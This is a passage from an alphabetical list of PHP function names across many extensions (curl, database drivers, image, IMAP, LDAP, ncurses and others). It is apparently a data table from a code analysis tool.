'bcompiler_write_constant', 'bcompiler_write_exe_footer', 'bcompiler_write_file', 'bcompiler_write_footer', 'bcompiler_write_function', 'bcompiler_write_functions_from_file', 'bcompiler_write_header', 'bcompiler_write_included_filename', 'bzclose', 'bzerrno', 'bzerror', 'bzerrstr', 'bzflush', 'bzopen', 'bzread', 'bzwrite', 'cairo_surface_write_to_png', 'closedir', 'copy', 'crack_closedict', 'crack_opendict', 'cubrid_bind', 'cubrid_close_prepare', 'cubrid_close_request', 'cubrid_col_get', 'cubrid_col_size', 'cubrid_column_names', 'cubrid_column_types', 'cubrid_commit', 'cubrid_connect', 'cubrid_connect_with_url', 'cubrid_current_oid', 'cubrid_db_parameter', 'cubrid_disconnect', 'cubrid_drop', 'cubrid_fetch', 'cubrid_free_result', 'cubrid_get', 'cubrid_get_autocommit', 'cubrid_get_charset', 'cubrid_get_class_name', 'cubrid_get_db_parameter', 'cubrid_get_query_timeout', 'cubrid_get_server_info', 'cubrid_insert_id', 'cubrid_is_instance', 'cubrid_lob2_bind', 'cubrid_lob2_close', 'cubrid_lob2_export', 'cubrid_lob2_import', 'cubrid_lob2_new', 'cubrid_lob2_read', 'cubrid_lob2_seek', 'cubrid_lob2_seek64', 'cubrid_lob2_size', 'cubrid_lob2_size64', 'cubrid_lob2_tell', 'cubrid_lob2_tell64', 'cubrid_lob2_write', 'cubrid_lob_export', 'cubrid_lob_get', 'cubrid_lob_send', 'cubrid_lob_size', 'cubrid_lock_read', 'cubrid_lock_write', 'cubrid_move_cursor', 'cubrid_next_result', 'cubrid_num_cols', 'cubrid_num_rows', 'cubrid_pconnect', 'cubrid_pconnect_with_url', 'cubrid_prepare', 'cubrid_put', 'cubrid_query', 'cubrid_rollback', 'cubrid_schema', 'cubrid_seq_add', 'cubrid_seq_drop', 'cubrid_seq_insert', 'cubrid_seq_put', 'cubrid_set_add', 'cubrid_set_autocommit', 'cubrid_set_db_parameter', 'cubrid_set_drop', 'cubrid_set_query_timeout', 'cubrid_unbuffered_query', 'curl_close', 'curl_copy_handle', 'curl_errno', 'curl_error', 'curl_escape', 'curl_exec', 'curl_getinfo', 'curl_multi_add_handle', 'curl_multi_close', 'curl_multi_errno', 'curl_multi_exec', 'curl_multi_getcontent', 'curl_multi_info_read', 'curl_multi_remove_handle', 'curl_multi_select', 'curl_multi_setopt', 'curl_pause', 'curl_reset', 'curl_setopt', 'curl_setopt_array', 'curl_share_close', 'curl_share_errno', 'curl_share_init', 'curl_share_setopt', 'curl_unescape', 'cyrus_authenticate', 'cyrus_bind', 'cyrus_close', 'cyrus_connect', 'cyrus_query', 'cyrus_unbind', 'db2_autocommit', 'db2_bind_param', 'db2_client_info', 'db2_close', 'db2_column_privileges', 'db2_columns', 'db2_commit', 'db2_conn_error', 'db2_conn_errormsg', 'db2_connect', 'db2_cursor_type', 'db2_exec', 'db2_execute', 'db2_fetch_array', 'db2_fetch_assoc', 'db2_fetch_both', 'db2_fetch_object', 'db2_fetch_row', 'db2_field_display_size', 'db2_field_name', 'db2_field_num', 'db2_field_precision', 'db2_field_scale', 'db2_field_type', 'db2_field_width', 'db2_foreign_keys', 'db2_free_result', 'db2_free_stmt', 'db2_get_option', 'db2_last_insert_id', 'db2_lob_read', 'db2_next_result', 'db2_num_fields', 'db2_num_rows', 'db2_pclose', 'db2_pconnect', 'db2_prepare', 'db2_primary_keys', 'db2_procedure_columns', 'db2_procedures', 'db2_result', 'db2_rollback', 'db2_server_info', 'db2_set_option', 'db2_special_columns', 'db2_statistics', 'db2_stmt_error', 'db2_stmt_errormsg', 'db2_table_privileges', 'db2_tables', 'dba_close', 'dba_delete', 'dba_exists', 'dba_fetch', 'dba_firstkey', 'dba_insert', 'dba_nextkey', 'dba_open', 'dba_optimize', 'dba_popen', 'dba_replace', 'dba_sync', 'dbplus_add', 'dbplus_aql', 'dbplus_close', 'dbplus_curr', 'dbplus_find', 'dbplus_first', 'dbplus_flush', 'dbplus_freelock', 'dbplus_freerlocks', 'dbplus_getlock', 'dbplus_getunique', 'dbplus_info', 'dbplus_last', 'dbplus_lockrel', 'dbplus_next', 'dbplus_open', 'dbplus_prev', 'dbplus_rchperm', 'dbplus_rcreate', 'dbplus_rcrtexact', 'dbplus_rcrtlike', 'dbplus_restorepos', 'dbplus_rkeys', 'dbplus_ropen', 'dbplus_rquery', 'dbplus_rrename', 'dbplus_rsecindex', 'dbplus_runlink', 'dbplus_rzap', 'dbplus_savepos', 'dbplus_setindex', 'dbplus_setindexbynumber', 'dbplus_sql', 'dbplus_tremove', 'dbplus_undo', 'dbplus_undoprepare', 'dbplus_unlockrel', 'dbplus_unselect', 'dbplus_update', 'dbplus_xlockrel', 'dbplus_xunlockrel', 'deflate_add', 'dio_close', 'dio_fcntl', 'dio_open', 'dio_read', 'dio_seek', 'dio_stat', 'dio_tcsetattr', 'dio_truncate', 'dio_write', 'dir', 'eio_busy', 'eio_cancel', 'eio_chmod', 'eio_chown', 'eio_close', 'eio_custom', 'eio_dup2', 'eio_fallocate', 'eio_fchmod', 'eio_fchown', 'eio_fdatasync', 'eio_fstat', 'eio_fstatvfs', 'eio_fsync', 'eio_ftruncate', 'eio_futime', 'eio_get_last_error', 'eio_grp', 'eio_grp_add', 'eio_grp_cancel', 'eio_grp_limit', 'eio_link', 'eio_lstat', 'eio_mkdir', 'eio_mknod', 'eio_nop', 'eio_open', 'eio_read', 'eio_readahead', 'eio_readdir', 'eio_readlink', 'eio_realpath', 'eio_rename', 'eio_rmdir', 'eio_seek', 'eio_sendfile', 'eio_stat', 'eio_statvfs', 'eio_symlink', 'eio_sync', 'eio_sync_file_range', 'eio_syncfs', 'eio_truncate', 'eio_unlink', 'eio_utime', 'eio_write', 'enchant_broker_describe', 'enchant_broker_dict_exists', 'enchant_broker_free', 'enchant_broker_free_dict', 'enchant_broker_get_dict_path', 'enchant_broker_get_error', 'enchant_broker_init', 'enchant_broker_list_dicts', 'enchant_broker_request_dict', 'enchant_broker_request_pwl_dict', 'enchant_broker_set_dict_path', 'enchant_broker_set_ordering', 'enchant_dict_add_to_personal', 'enchant_dict_add_to_session', 'enchant_dict_check', 'enchant_dict_describe', 'enchant_dict_get_error', 'enchant_dict_is_in_session', 'enchant_dict_quick_check', 'enchant_dict_store_replacement', 'enchant_dict_suggest', 'event_add', 'event_base_free', 'event_base_loop', 'event_base_loopbreak', 'event_base_loopexit', 'event_base_new', 'event_base_priority_init', 'event_base_reinit', 'event_base_set', 'event_buffer_base_set', 'event_buffer_disable', 'event_buffer_enable', 'event_buffer_fd_set', 'event_buffer_free', 'event_buffer_new', 'event_buffer_priority_set', 'event_buffer_read', 'event_buffer_set_callback', 'event_buffer_timeout_set', 'event_buffer_watermark_set', 'event_buffer_write', 'event_del', 'event_free', 'event_new', 'event_priority_set', 'event_set', 'event_timer_add', 'event_timer_del', 'event_timer_pending', 'event_timer_set', 'expect_expectl', 'expect_popen', 'fam_cancel_monitor', 'fam_close', 'fam_monitor_collection', 'fam_monitor_directory', 'fam_monitor_file', 'fam_next_event', 'fam_open', 'fam_pending', 'fam_resume_monitor', 'fam_suspend_monitor', 'fann_cascadetrain_on_data', 'fann_cascadetrain_on_file', 'fann_clear_scaling_params', 'fann_copy', 'fann_create_from_file', 'fann_create_shortcut_array', 'fann_create_standard', 'fann_create_standard_array', 'fann_create_train', 'fann_create_train_from_callback', 'fann_descale_input', 'fann_descale_output', 'fann_descale_train', 'fann_destroy', 'fann_destroy_train', 'fann_duplicate_train_data', 'fann_get_MSE', 'fann_get_activation_function', 'fann_get_activation_steepness', 'fann_get_bias_array', 'fann_get_bit_fail', 'fann_get_bit_fail_limit', 'fann_get_cascade_activation_functions', 'fann_get_cascade_activation_functions_count', 'fann_get_cascade_activation_steepnesses', 'fann_get_cascade_activation_steepnesses_count', 'fann_get_cascade_candidate_change_fraction', 'fann_get_cascade_candidate_limit', 'fann_get_cascade_candidate_stagnation_epochs', 'fann_get_cascade_max_cand_epochs', 'fann_get_cascade_max_out_epochs', 'fann_get_cascade_min_cand_epochs', 'fann_get_cascade_min_out_epochs', 'fann_get_cascade_num_candidate_groups', 'fann_get_cascade_num_candidates', 'fann_get_cascade_output_change_fraction', 'fann_get_cascade_output_stagnation_epochs', 'fann_get_cascade_weight_multiplier', 'fann_get_connection_array', 'fann_get_connection_rate', 'fann_get_errno', 'fann_get_errstr', 'fann_get_layer_array', 'fann_get_learning_momentum', 'fann_get_learning_rate', 'fann_get_network_type', 'fann_get_num_input', 'fann_get_num_layers', 'fann_get_num_output', 'fann_get_quickprop_decay', 'fann_get_quickprop_mu', 'fann_get_rprop_decrease_factor', 'fann_get_rprop_delta_max', 'fann_get_rprop_delta_min', 'fann_get_rprop_delta_zero', 'fann_get_rprop_increase_factor', 'fann_get_sarprop_step_error_shift', 'fann_get_sarprop_step_error_threshold_factor', 'fann_get_sarprop_temperature', 'fann_get_sarprop_weight_decay_shift', 'fann_get_total_connections', 'fann_get_total_neurons', 'fann_get_train_error_function', 'fann_get_train_stop_function', 'fann_get_training_algorithm', 'fann_init_weights', 'fann_length_train_data', 'fann_merge_train_data', 'fann_num_input_train_data', 'fann_num_output_train_data', 'fann_randomize_weights', 'fann_read_train_from_file', 'fann_reset_errno', 'fann_reset_errstr', 'fann_run', 'fann_save', 'fann_save_train', 'fann_scale_input', 'fann_scale_input_train_data', 'fann_scale_output', 'fann_scale_output_train_data', 'fann_scale_train', 'fann_scale_train_data', 'fann_set_activation_function', 'fann_set_activation_function_hidden', 'fann_set_activation_function_layer', 'fann_set_activation_function_output', 'fann_set_activation_steepness', 'fann_set_activation_steepness_hidden', 'fann_set_activation_steepness_layer', 'fann_set_activation_steepness_output', 'fann_set_bit_fail_limit', 'fann_set_callback', 'fann_set_cascade_activation_functions', 'fann_set_cascade_activation_steepnesses', 'fann_set_cascade_candidate_change_fraction', 'fann_set_cascade_candidate_limit', 'fann_set_cascade_candidate_stagnation_epochs', 'fann_set_cascade_max_cand_epochs', 'fann_set_cascade_max_out_epochs', 'fann_set_cascade_min_cand_epochs', 'fann_set_cascade_min_out_epochs', 'fann_set_cascade_num_candidate_groups', 'fann_set_cascade_output_change_fraction', 'fann_set_cascade_output_stagnation_epochs', 'fann_set_cascade_weight_multiplier', 'fann_set_error_log', 'fann_set_input_scaling_params', 'fann_set_learning_momentum', 'fann_set_learning_rate', 'fann_set_output_scaling_params', 'fann_set_quickprop_decay', 'fann_set_quickprop_mu', 'fann_set_rprop_decrease_factor', 'fann_set_rprop_delta_max', 'fann_set_rprop_delta_min', 'fann_set_rprop_delta_zero', 'fann_set_rprop_increase_factor', 'fann_set_sarprop_step_error_shift', 'fann_set_sarprop_step_error_threshold_factor', 'fann_set_sarprop_temperature', 'fann_set_sarprop_weight_decay_shift', 'fann_set_scaling_params', 'fann_set_train_error_function', 'fann_set_train_stop_function', 'fann_set_training_algorithm', 'fann_set_weight', 'fann_set_weight_array', 'fann_shuffle_train_data', 'fann_subset_train_data', 'fann_test', 'fann_test_data', 'fann_train', 'fann_train_epoch', 'fann_train_on_data', 'fann_train_on_file', 'fbsql_affected_rows', 'fbsql_autocommit', 'fbsql_blob_size', 'fbsql_change_user', 'fbsql_clob_size', 'fbsql_close', 'fbsql_commit', 'fbsql_connect', 'fbsql_create_blob', 'fbsql_create_clob', 'fbsql_create_db', 'fbsql_data_seek', 'fbsql_database', 'fbsql_database_password', 'fbsql_db_query', 'fbsql_db_status', 'fbsql_drop_db', 'fbsql_errno', 'fbsql_error', 'fbsql_fetch_array', 'fbsql_fetch_assoc', 'fbsql_fetch_field', 'fbsql_fetch_lengths', 'fbsql_fetch_object', 'fbsql_fetch_row', 'fbsql_field_flags', 'fbsql_field_len', 'fbsql_field_name', 'fbsql_field_seek', 'fbsql_field_table', 'fbsql_field_type', 'fbsql_free_result', 'fbsql_get_autostart_info', 'fbsql_hostname', 'fbsql_insert_id', 'fbsql_list_dbs', 'fbsql_list_fields', 'fbsql_list_tables', 'fbsql_next_result', 'fbsql_num_fields', 'fbsql_num_rows', 'fbsql_password', 'fbsql_pconnect', 'fbsql_query', 'fbsql_read_blob', 'fbsql_read_clob', 'fbsql_result', 'fbsql_rollback', 'fbsql_rows_fetched', 'fbsql_select_db', 'fbsql_set_characterset', 'fbsql_set_lob_mode', 'fbsql_set_password', 'fbsql_set_transaction', 'fbsql_start_db', 'fbsql_stop_db', 'fbsql_table_name', 'fbsql_username', 'fclose', 'fdf_add_doc_javascript', 'fdf_add_template', 'fdf_close', 'fdf_create', 'fdf_enum_values', 'fdf_get_ap', 'fdf_get_attachment', 'fdf_get_encoding', 'fdf_get_file', 'fdf_get_flags', 'fdf_get_opt', 'fdf_get_status', 'fdf_get_value', 'fdf_get_version', 'fdf_next_field_name', 'fdf_open', 'fdf_open_string', 'fdf_remove_item', 'fdf_save', 'fdf_save_string', 'fdf_set_ap', 'fdf_set_encoding', 'fdf_set_file', 'fdf_set_flags', 'fdf_set_javascript_action', 'fdf_set_on_import_javascript', 'fdf_set_opt', 'fdf_set_status', 'fdf_set_submit_form_action', 'fdf_set_target_frame', 'fdf_set_value', 'fdf_set_version', 'feof', 'fflush', 'ffmpeg_frame::__construct', 'ffmpeg_frame::toGDImage', 'fgetc', 'fgetcsv', 'fgets', 'fgetss', 'file', 'file_get_contents', 'file_put_contents', 'finfo::buffer', 'finfo::file', 'finfo_buffer', 'finfo_close', 'finfo_file', 'finfo_open', 'finfo_set_flags', 'flock', 'fopen', 'fpassthru', 'fprintf', 'fputcsv', 'fputs', 'fread', 'fscanf', 'fseek', 'fstat', 'ftell', 'ftp_alloc', 'ftp_append', 'ftp_cdup', 'ftp_chdir', 'ftp_chmod', 'ftp_close', 'ftp_delete', 'ftp_exec', 'ftp_fget', 'ftp_fput', 'ftp_get', 'ftp_get_option', 'ftp_login', 'ftp_mdtm', 'ftp_mkdir', 'ftp_mlsd', 'ftp_nb_continue', 'ftp_nb_fget', 'ftp_nb_fput', 'ftp_nb_get', 'ftp_nb_put', 'ftp_nlist', 'ftp_pasv', 'ftp_put', 'ftp_pwd', 'ftp_quit', 'ftp_raw', 'ftp_rawlist', 'ftp_rename', 'ftp_rmdir', 'ftp_set_option', 'ftp_site', 'ftp_size', 'ftp_systype', 'ftruncate', 'fwrite', 'get_resource_type', 'gmp_div', 'gnupg::init', 'gnupg_adddecryptkey', 'gnupg_addencryptkey', 'gnupg_addsignkey', 'gnupg_cleardecryptkeys', 'gnupg_clearencryptkeys', 'gnupg_clearsignkeys', 'gnupg_decrypt', 'gnupg_decryptverify', 'gnupg_encrypt', 'gnupg_encryptsign', 'gnupg_export', 'gnupg_geterror', 'gnupg_getprotocol', 'gnupg_import', 'gnupg_init', 'gnupg_keyinfo', 'gnupg_setarmor', 'gnupg_seterrormode', 'gnupg_setsignmode', 'gnupg_sign', 'gnupg_verify', 'gupnp_context_get_host_ip', 'gupnp_context_get_port', 'gupnp_context_get_subscription_timeout', 'gupnp_context_host_path', 'gupnp_context_new', 'gupnp_context_set_subscription_timeout', 'gupnp_context_timeout_add', 'gupnp_context_unhost_path', 'gupnp_control_point_browse_start', 'gupnp_control_point_browse_stop', 'gupnp_control_point_callback_set', 'gupnp_control_point_new', 'gupnp_device_action_callback_set', 'gupnp_device_info_get', 'gupnp_device_info_get_service', 'gupnp_root_device_get_available', 'gupnp_root_device_get_relative_location', 'gupnp_root_device_new', 'gupnp_root_device_set_available', 'gupnp_root_device_start', 'gupnp_root_device_stop', 'gupnp_service_action_get', 'gupnp_service_action_return', 'gupnp_service_action_return_error', 'gupnp_service_action_set', 'gupnp_service_freeze_notify', 'gupnp_service_info_get', 'gupnp_service_info_get_introspection', 'gupnp_service_introspection_get_state_variable', 'gupnp_service_notify', 'gupnp_service_proxy_action_get', 'gupnp_service_proxy_action_set', 'gupnp_service_proxy_add_notify', 'gupnp_service_proxy_callback_set', 'gupnp_service_proxy_get_subscribed', 'gupnp_service_proxy_remove_notify', 'gupnp_service_proxy_send_action', 'gupnp_service_proxy_set_subscribed', 'gupnp_service_thaw_notify', 'gzclose', 'gzeof', 'gzgetc', 'gzgets', 'gzgetss', 'gzpassthru', 'gzputs', 'gzread', 'gzrewind', 'gzseek', 'gztell', 'gzwrite', 'hash_update_stream', 'http\Env\Response::send', 'http_get_request_body_stream', 'ibase_add_user', 'ibase_affected_rows', 'ibase_backup', 'ibase_blob_add', 'ibase_blob_cancel', 'ibase_blob_close', 'ibase_blob_create', 'ibase_blob_get', 'ibase_blob_open', 'ibase_close', 'ibase_commit', 'ibase_commit_ret', 'ibase_connect', 'ibase_db_info', 'ibase_delete_user', 'ibase_drop_db', 'ibase_execute', 'ibase_fetch_assoc', 'ibase_fetch_object', 'ibase_fetch_row', 'ibase_field_info', 'ibase_free_event_handler', 'ibase_free_query', 'ibase_free_result', 'ibase_gen_id', 'ibase_maintain_db', 'ibase_modify_user', 'ibase_name_result', 'ibase_num_fields', 'ibase_num_params', 'ibase_param_info', 'ibase_pconnect', 'ibase_prepare', 'ibase_query', 'ibase_restore', 'ibase_rollback', 'ibase_rollback_ret', 'ibase_server_info', 'ibase_service_attach', 'ibase_service_detach', 'ibase_set_event_handler', 'ibase_trans', 'ifx_affected_rows', 'ifx_close', 'ifx_connect', 'ifx_do', 'ifx_error', 'ifx_fetch_row', 'ifx_fieldproperties', 'ifx_fieldtypes', 'ifx_free_result', 'ifx_getsqlca', 'ifx_htmltbl_result', 'ifx_num_fields', 'ifx_num_rows', 'ifx_pconnect', 'ifx_prepare', 'ifx_query', 'image2wbmp', 'imageaffine', 'imagealphablending', 'imageantialias', 'imagearc', 'imagebmp', 'imagechar', 'imagecharup', 'imagecolorallocate', 'imagecolorallocatealpha', 'imagecolorat', 'imagecolorclosest', 'imagecolorclosestalpha', 'imagecolorclosesthwb', 'imagecolordeallocate', 'imagecolorexact', 'imagecolorexactalpha', 'imagecolormatch', 'imagecolorresolve', 'imagecolorresolvealpha', 'imagecolorset', 'imagecolorsforindex', 'imagecolorstotal', 'imagecolortransparent', 'imageconvolution', 'imagecopy', 'imagecopymerge', 'imagecopymergegray', 'imagecopyresampled', 'imagecopyresized', 'imagecrop', 'imagecropauto', 'imagedashedline', 'imagedestroy', 'imageellipse', 'imagefill', 'imagefilledarc', 'imagefilledellipse', 'imagefilledpolygon', 'imagefilledrectangle', 'imagefilltoborder', 'imagefilter', 'imageflip', 'imagefttext', 'imagegammacorrect', 'imagegd', 'imagegd2', 'imagegetclip', 'imagegif', 'imagegrabscreen', 'imagegrabwindow', 'imageinterlace', 'imageistruecolor', 'imagejpeg', 'imagelayereffect', 'imageline', 'imageopenpolygon', 'imagepalettecopy', 'imagepalettetotruecolor', 'imagepng', 'imagepolygon', 'imagepsencodefont', 'imagepsextendfont', 'imagepsfreefont', 'imagepsloadfont', 'imagepsslantfont', 'imagepstext', 'imagerectangle', 'imageresolution', 'imagerotate', 'imagesavealpha', 'imagescale', 'imagesetbrush', 'imagesetclip', 'imagesetinterpolation', 'imagesetpixel', 'imagesetstyle', 'imagesetthickness', 'imagesettile', 'imagestring', 'imagestringup', 'imagesx', 'imagesy', 'imagetruecolortopalette', 'imagettftext', 'imagewbmp', 'imagewebp', 'imagexbm', 'imap_append', 'imap_body', 'imap_bodystruct', 'imap_check', 'imap_clearflag_full', 'imap_close', 'imap_create', 'imap_createmailbox', 'imap_delete', 'imap_deletemailbox', 'imap_expunge', 'imap_fetch_overview', 'imap_fetchbody', 'imap_fetchheader', 'imap_fetchmime', 'imap_fetchstructure', 'imap_fetchtext', 'imap_gc', 'imap_get_quota', 'imap_get_quotaroot', 'imap_getacl', 'imap_getmailboxes', 'imap_getsubscribed', 'imap_header', 'imap_headerinfo', 'imap_headers', 'imap_list', 'imap_listmailbox', 'imap_listscan', 'imap_listsubscribed', 'imap_lsub', 'imap_mail_copy', 'imap_mail_move', 'imap_mailboxmsginfo', 'imap_msgno', 'imap_num_msg', 'imap_num_recent', 'imap_ping', 'imap_rename', 'imap_renamemailbox', 'imap_reopen', 'imap_savebody', 'imap_scan', 'imap_scanmailbox', 'imap_search', 'imap_set_quota', 'imap_setacl', 'imap_setflag_full', 'imap_sort', 'imap_status', 'imap_subscribe', 'imap_thread', 'imap_uid', 'imap_undelete', 'imap_unsubscribe', 'inflate_add', 'inflate_get_read_len', 'inflate_get_status', 'ingres_autocommit', 'ingres_autocommit_state', 'ingres_charset', 'ingres_close', 'ingres_commit', 'ingres_connect', 'ingres_cursor', 'ingres_errno', 'ingres_error', 'ingres_errsqlstate', 'ingres_escape_string', 'ingres_execute', 'ingres_fetch_array', 'ingres_fetch_assoc', 'ingres_fetch_object', 'ingres_fetch_proc_return', 'ingres_fetch_row', 'ingres_field_length', 'ingres_field_name', 'ingres_field_nullable', 'ingres_field_precision', 'ingres_field_scale', 'ingres_field_type', 'ingres_free_result', 'ingres_next_error', 'ingres_num_fields', 'ingres_num_rows', 'ingres_pconnect', 'ingres_prepare', 'ingres_query', 'ingres_result_seek', 'ingres_rollback', 'ingres_set_environment', 'ingres_unbuffered_query', 'inotify_add_watch', 'inotify_init', 'inotify_queue_len', 'inotify_read', 'inotify_rm_watch', 'kadm5_chpass_principal', 'kadm5_create_principal', 'kadm5_delete_principal', 'kadm5_destroy', 'kadm5_flush', 'kadm5_get_policies', 'kadm5_get_principal', 'kadm5_get_principals', 'kadm5_init_with_password', 'kadm5_modify_principal', 'ldap_add', 'ldap_bind', 'ldap_close', 'ldap_compare', 'ldap_control_paged_result', 'ldap_control_paged_result_response', 'ldap_count_entries', 'ldap_delete', 'ldap_errno', 'ldap_error', 'ldap_exop', 'ldap_exop_passwd', 'ldap_exop_refresh', 'ldap_exop_whoami', 'ldap_first_attribute', 'ldap_first_entry', 'ldap_first_reference', 'ldap_free_result', 'ldap_get_attributes', 'ldap_get_dn', 'ldap_get_entries', 'ldap_get_option', 'ldap_get_values', 'ldap_get_values_len', 'ldap_mod_add', 'ldap_mod_del', 'ldap_mod_replace', 'ldap_modify', 'ldap_modify_batch', 'ldap_next_attribute', 'ldap_next_entry', 'ldap_next_reference', 'ldap_parse_exop', 'ldap_parse_reference', 'ldap_parse_result', 'ldap_rename', 'ldap_sasl_bind', 'ldap_set_option', 'ldap_set_rebind_proc', 'ldap_sort', 'ldap_start_tls', 'ldap_unbind', 'libxml_set_streams_context', 'm_checkstatus', 'm_completeauthorizations', 'm_connect', 'm_connectionerror', 'm_deletetrans', 'm_destroyconn', 'm_getcell', 'm_getcellbynum', 'm_getcommadelimited', 'm_getheader', 'm_initconn', 'm_iscommadelimited', 'm_maxconntimeout', 'm_monitor', 'm_numcolumns', 'm_numrows', 'm_parsecommadelimited', 'm_responsekeys', 'm_responseparam', 'm_returnstatus', 'm_setblocking', 'm_setdropfile', 'm_setip', 'm_setssl', 'm_setssl_cafile', 'm_setssl_files', 'm_settimeout', 'm_transactionssent', 'm_transinqueue', 'm_transkeyval', 'm_transnew', 'm_transsend', 'm_validateidentifier', 'm_verifyconnection', 'm_verifysslcert', 'mailparse_determine_best_xfer_encoding', 'mailparse_msg_create', 'mailparse_msg_extract_part', 'mailparse_msg_extract_part_file', 'mailparse_msg_extract_whole_part_file', 'mailparse_msg_free', 'mailparse_msg_get_part', 'mailparse_msg_get_part_data', 'mailparse_msg_get_structure', 'mailparse_msg_parse', 'mailparse_msg_parse_file', 'mailparse_stream_encode', 'mailparse_uudecode_all', 'maxdb::use_result', 'maxdb_affected_rows', 'maxdb_connect', 'maxdb_disable_rpl_parse', 'maxdb_dump_debug_info', 'maxdb_embedded_connect', 'maxdb_enable_reads_from_master', 'maxdb_enable_rpl_parse', 'maxdb_errno', 'maxdb_error', 'maxdb_fetch_lengths', 'maxdb_field_tell', 'maxdb_get_host_info', 'maxdb_get_proto_info', 'maxdb_get_server_info', 'maxdb_get_server_version', 'maxdb_info', 'maxdb_init', 'maxdb_insert_id', 'maxdb_master_query', 'maxdb_more_results', 'maxdb_next_result', 'maxdb_num_fields', 'maxdb_num_rows', 'maxdb_rpl_parse_enabled', 'maxdb_rpl_probe', 'maxdb_select_db', 'maxdb_sqlstate', 'maxdb_stmt::result_metadata', 'maxdb_stmt_affected_rows', 'maxdb_stmt_errno', 'maxdb_stmt_error', 'maxdb_stmt_num_rows', 'maxdb_stmt_param_count', 'maxdb_stmt_result_metadata', 'maxdb_stmt_sqlstate', 'maxdb_thread_id', 'maxdb_use_result', 'maxdb_warning_count', 'mcrypt_enc_get_algorithms_name', 'mcrypt_enc_get_block_size', 'mcrypt_enc_get_iv_size', 'mcrypt_enc_get_key_size', 'mcrypt_enc_get_modes_name', 'mcrypt_enc_get_supported_key_sizes', 'mcrypt_enc_is_block_algorithm', 'mcrypt_enc_is_block_algorithm_mode', 'mcrypt_enc_is_block_mode', 'mcrypt_enc_self_test', 'mcrypt_generic', 'mcrypt_generic_deinit', 'mcrypt_generic_end', 'mcrypt_generic_init', 'mcrypt_module_close', 'mcrypt_module_open', 'mdecrypt_generic', 'mkdir', 'mqseries_back', 'mqseries_begin', 'mqseries_close', 'mqseries_cmit', 'mqseries_conn', 'mqseries_connx', 'mqseries_disc', 'mqseries_get', 'mqseries_inq', 'mqseries_open', 'mqseries_put', 'mqseries_put1', 'mqseries_set', 'msg_get_queue', 'msg_receive', 'msg_remove_queue', 'msg_send', 'msg_set_queue', 'msg_stat_queue', 'msql_affected_rows', 'msql_close', 'msql_connect', 'msql_create_db', 'msql_data_seek', 'msql_db_query', 'msql_drop_db', 'msql_fetch_array', 'msql_fetch_field', 'msql_fetch_object', 'msql_fetch_row', 'msql_field_flags', 'msql_field_len', 'msql_field_name', 'msql_field_seek', 'msql_field_table', 'msql_field_type', 'msql_free_result', 'msql_list_dbs', 'msql_list_fields', 'msql_list_tables', 'msql_num_fields', 'msql_num_rows', 'msql_pconnect', 'msql_query', 'msql_result', 'msql_select_db', 'mssql_bind', 'mssql_close', 'mssql_connect', 'mssql_data_seek', 'mssql_execute', 'mssql_fetch_array', 'mssql_fetch_assoc', 'mssql_fetch_batch', 'mssql_fetch_field', 'mssql_fetch_object', 'mssql_fetch_row', 'mssql_field_length', 'mssql_field_name', 'mssql_field_seek', 'mssql_field_type', 'mssql_free_result', 'mssql_free_statement', 'mssql_init', 'mssql_next_result', 'mssql_num_fields', 'mssql_num_rows', 'mssql_pconnect', 'mssql_query', 'mssql_result', 'mssql_rows_affected', 'mssql_select_db', 'mysql_affected_rows', 'mysql_client_encoding', 'mysql_close', 'mysql_connect', 'mysql_create_db', 'mysql_data_seek', 'mysql_db_name', 'mysql_db_query', 'mysql_drop_db', 'mysql_errno', 'mysql_error', 'mysql_fetch_array', 'mysql_fetch_assoc', 'mysql_fetch_field', 'mysql_fetch_lengths', 'mysql_fetch_object', 'mysql_fetch_row', 'mysql_field_flags', 'mysql_field_len', 'mysql_field_name', 'mysql_field_seek', 'mysql_field_table', 'mysql_field_type', 'mysql_free_result', 'mysql_get_host_info', 'mysql_get_proto_info', 'mysql_get_server_info', 'mysql_info', 'mysql_insert_id', 'mysql_list_dbs', 'mysql_list_fields', 'mysql_list_processes', 'mysql_list_tables', 'mysql_num_fields', 'mysql_num_rows', 'mysql_pconnect', 'mysql_ping', 'mysql_query', 'mysql_real_escape_string', 'mysql_result', 'mysql_select_db', 'mysql_set_charset', 'mysql_stat', 'mysql_tablename', 'mysql_thread_id', 'mysql_unbuffered_query', 'mysqlnd_uh_convert_to_mysqlnd', 'ncurses_bottom_panel', 'ncurses_del_panel', 'ncurses_delwin', 'ncurses_getmaxyx', 'ncurses_getyx', 'ncurses_hide_panel', 'ncurses_keypad', 'ncurses_meta', 'ncurses_move_panel', 'ncurses_mvwaddstr', 'ncurses_new_panel', 'ncurses_newpad', 'ncurses_newwin', 'ncurses_panel_above', 'ncurses_panel_below', 'ncurses_panel_window', 'ncurses_pnoutrefresh', 'ncurses_prefresh', 'ncurses_replace_panel', 'ncurses_show_panel', 'ncurses_top_panel', 'ncurses_waddch', 'ncurses_waddstr', 'ncurses_wattroff', 'ncurses_wattron', 'ncurses_wattrset', 'ncurses_wborder', 'ncurses_wclear', 'ncurses_wcolor_set', 'ncurses_werase', 'ncurses_wgetch', 'ncurses_whline', 'ncurses_wmouse_trafo', 'ncurses_wmove', 'ncurses_wnoutrefresh', 'ncurses_wrefresh', 'ncurses_wstandend', 'ncurses_wstandout', 'ncurses_wvline', 'newt_button', 'newt_button_bar', 'newt_checkbox', 'newt_checkbox_get_value', 'newt_checkbox_set_flags', 'newt_checkbox_set_value', 'newt_checkbox_tree', 'newt_checkbox_tree_add_item', 'newt_checkbox_tree_find_item', 'newt_checkbox_tree_get_current', 'newt_checkbox_tree_get_entry_value', 'newt_checkbox_tree_get_multi_selection', 'newt_checkbox_tree_get_selection', 'newt_checkbox_tree_multi', 'newt_checkbox_tree_set_current', 'newt_checkbox_tree_set_entry', 'newt_checkbox_tree_set_entry_value', 'newt_checkbox_tree_set_width', 'newt_compact_button', 'newt_component_add_callback', 'newt_component_takes_focus', 'newt_create_grid', 'newt_draw_form', 'newt_entry', 'newt_entry_get_value', 'newt_entry_set', 'newt_entry_set_filter', 'newt_entry_set_flags', 'newt_form', 'newt_form_add_component', 'newt_form_add_components', 'newt_form_add_hot_key', 'newt_form_destroy', 'newt_form_get_current', 'newt_form_run', 'newt_form_set_background', 'newt_form_set_height', 'newt_form_set_size', 'newt_form_set_timer', 'newt_form_set_width', 'newt_form_watch_fd', 'newt_grid_add_components_to_form', 'newt_grid_basic_window', 'newt_grid_free', 'newt_grid_get_size', 'newt_grid_h_close_stacked', 'newt_grid_h_stacked', 'newt_grid_place', 'newt_grid_set_field', 'newt_grid_simple_window', 'newt_grid_v_close_stacked', 'newt_grid_v_stacked', 'newt_grid_wrapped_window', 